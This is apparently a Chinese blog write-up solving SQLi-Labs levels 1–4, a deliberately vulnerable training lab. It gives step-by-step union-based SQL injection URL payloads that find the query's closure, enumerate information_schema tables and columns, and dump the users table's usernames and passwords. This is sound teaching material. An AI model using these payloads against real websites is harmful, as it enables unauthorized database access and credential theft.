《SQLi-Labs》01. Less 1~4


title: 《SQLi-Labs》01. Less 1~4
date: 2023-04-18 20:58:31
updated: 2023-10-12 19:23:46
categories: WriteUp:Security-Lab
excerpt: 联合注入,字符型与数字型。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png



靶场部署在 VMware - Win7。

靶场地址:https://github.com/Audi-1/sqli-labs

索引

  • Less-1:联合注入,字符型【'】,起点。
  • Less-2:联合注入,数字型。
  • Less-3:联合注入,字符型【')】。
  • Less-4:联合注入,字符型【")】。

前言

对于新手,为了更加直观的看到 sql 注入语句,可以在以下文件添加两句:

在这里插入图片描述

echo $sql;      # 将构造的 sql 语句进行输出
echo "<br>";    # 换行输出

这样就可以在页面实时看到 sql 语句,便于理解。

题解中,只第一题添加了此语句。

Less-1

题解

跟着其他师傅的解答尝试了一下,大致思路如下。

打开页面,可以通过 url 传递 id 来获取对应用户信息。那么目标便是通过注入来获取所有用户信息。

在这里插入图片描述

先传递两个不同 id 值看看。得到了不同结果。

url + ?id=1
url + ?id=2

在这里插入图片描述

这里由于让 sql 语句回显到了页面,所以比较明显。但真实情况下无法看到 sql 语句。

所以接下来的思路是要判断 sql 查询是按字符串类型查询还是按数值类型查询。

url + ?id=2'

在这里插入图片描述

url + ?id=2' --+

在这里插入图片描述

可以看到有回显,说明是字符串查询。

这里 “ --+ ” 可以理解为解析成了 mysql 的注释语句 “ – ”。
除此以外也可使用【#】来注释,由于 url 转码所以可写为 “ %23 ”。

根据结果指定是字符型且存在 sql 注入漏洞后,因为该页面存在回显,所以可以使用联合查询。

对于联合查询,就是把多次查询的结果合并起来,形成一个新的查询结果集。查询列数要相等。

要使用联合查询,先来判断这张表有多少个字段(多少列)

可使用 order by 判断表有几列,如果报错就是超过列数。

url + ?id=2' order by 1 --+
url + ?id=2' order by 2 --+
url + ?id=2' order by 3 --+

在这里插入图片描述

url + ?id=2' order by 4 --+

可以看到报错了。

在这里插入图片描述

说明该表有 3 个字段。

然后看看该表哪两个列作为返回的页面显示。

使用联合查询,判断哪两列显示:

url + ?id=2' union select 1,2,3 --+

并没有返回有用信息。

在这里插入图片描述

把 id 改为一个不存在的值试试,

url + ?id=-2' union select 1,2,3 --+

在这里插入图片描述

可以看到页面显示的是 2、3 列数据。

可以根据 mysql 数据库的一些函数来获取当前数据库名和版本号。

database():返回 mysql 命令行当前所在的数据库。
version():获取 MySQL 版本号。

url + ?id=-2' union select 1, database(), version() --+

可以看到当前数据库名称为 security ,数据库版本为 5.7.26。

在这里插入图片描述

下一步,想办法查看 security 数据库里的所有表(爆表)。这里要用到 MySQL 自带的一些特殊数据库。

information_schema 数据库是在 mysql5.0 版本之后产生的一个虚拟数据库,物理上并不存在。提供了访问数据库元数据的方式,比如数据库名或表名,列类型,访问权限等。

information_schema.tables:获取所有数据库。

table_schema:数据库的名称。

table_name:具体的表名称。

group_concat() 函数:将括号里对应的字符串进行连接。

于是乎:

url + ?id=-2' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+

group_concat() 函数用于将查到的多个表名连接起来,不然只会显示一个表。

可以看到 security 数据库有四个表:emails、referers、uagents、users。

在这里插入图片描述

猜测用户的账户和密码可能是在 users 表中。

information_schema.columns:每一个表中的每一个字段都会在此表中对应一行。

于是:

url + ?id=-2' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

可以看到两个敏感字段:username,password。

在这里插入图片描述

联合查询 username,password 两个字段:

url + ?id=-2' union select 1,2,group_concat(username, ':', password) from users --+

在这里插入图片描述

第一关完成!

总结

要对数据库的语法有基本了解。这个就不多说了。

通过 GET 方法,使用 url 拼接进行数据传递时,“ --+ ” 可以理解为解析成了 mysql 的注释语句 “ – ”。

也可使用【#】来注释,由于 url 转码所以要写为 “ %23 ”。

这样就能把拼接后的语句注释,以此添加一些语句来获得信息分析。

order by 可用数字来代表字段索引,1 就是第一个字段,以此类推。因此可用来判断判断表有几列。

数据库的一些函数与自带的表: database()、information_schema 数据库、group_concat() 函数等。

  • information_schema.tables:所有数据库。
  • table_schema:数据库的名称。
  • table_name:具体的表名称。
  • information_schema.columns:每一个表中的每一个字段都会在此表中对应一行。

group_concat() 函数:将括号里对应的字符串进行连接。

Less-2

了解了第一关的原理与思路后,接下来这题就不难了。

题解

url + ?id=1' --+

当输入单引号或者双引号可以看到报错,且报错信息看不到数字,猜测 sql 语句应该是数字型注入。

在这里插入图片描述

说明不是字符型,可能为数字型。

url + ?id=1 --+

在这里插入图片描述

那接下来的思路就和 Less-1 的一样了。

判断表有几个字段后,看显示位:

url + ?id=-1 union select 1,2,3 --+

查看当前库名:

url + ?id=-1 union select 1, 2, database() --+

爆表:

url + ?id=-1 union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+

爆字段:

url + ?id=-1 union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='users' --+

获取用户名和密码:

url + ?id=-1 union select 1, 2, group_concat(username, ':', password) from users --+

思路与 Less-1 无异。

Less-3

依旧与 Less-1 一样。

题解

url + ?id=1'

看报错信息,推断 sql 语句是单引号字符型且有括号。

在这里插入图片描述

需要考虑闭合括号。

url + ?id=1') --+

在这里插入图片描述

接下来就照搬 Less-1 思路。

判断表有几个字段后,看显示位:

url + ?id=-1') union select 1,2,3 --+

看库名:

url + ?id=-1') union select 1, 2, database() --+

爆表:

url + ?id=-1') union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+

爆字段:

url + ?id=-1') union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='users' --+

获取用户名和密码:

url + ?id=-1') union select 1, 2, group_concat(username, ':', password) from users --+

得手。

Less-4

依旧与 Less-1 一样。

题解

url + ?id=1"

在这里插入图片描述

url + ?id=1") --+

在这里插入图片描述

判断表有几个字段后,看显示位:

url + ?id=-1") union select 1,2,3 --+

看库名:

url + ?id=-1") union select 1, 2, database() --+

爆表:

url + ?id=-1") union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+

爆字段:

url + ?id=-1") union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='users' --+

获取用户名和密码:

url + ?id=-1") union select 1, 2, group_concat(username, ':', password) from users --+

完成。


逢人不说人间事,便是人间无事人。

——《赠质上人》(唐)杜荀鹤

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值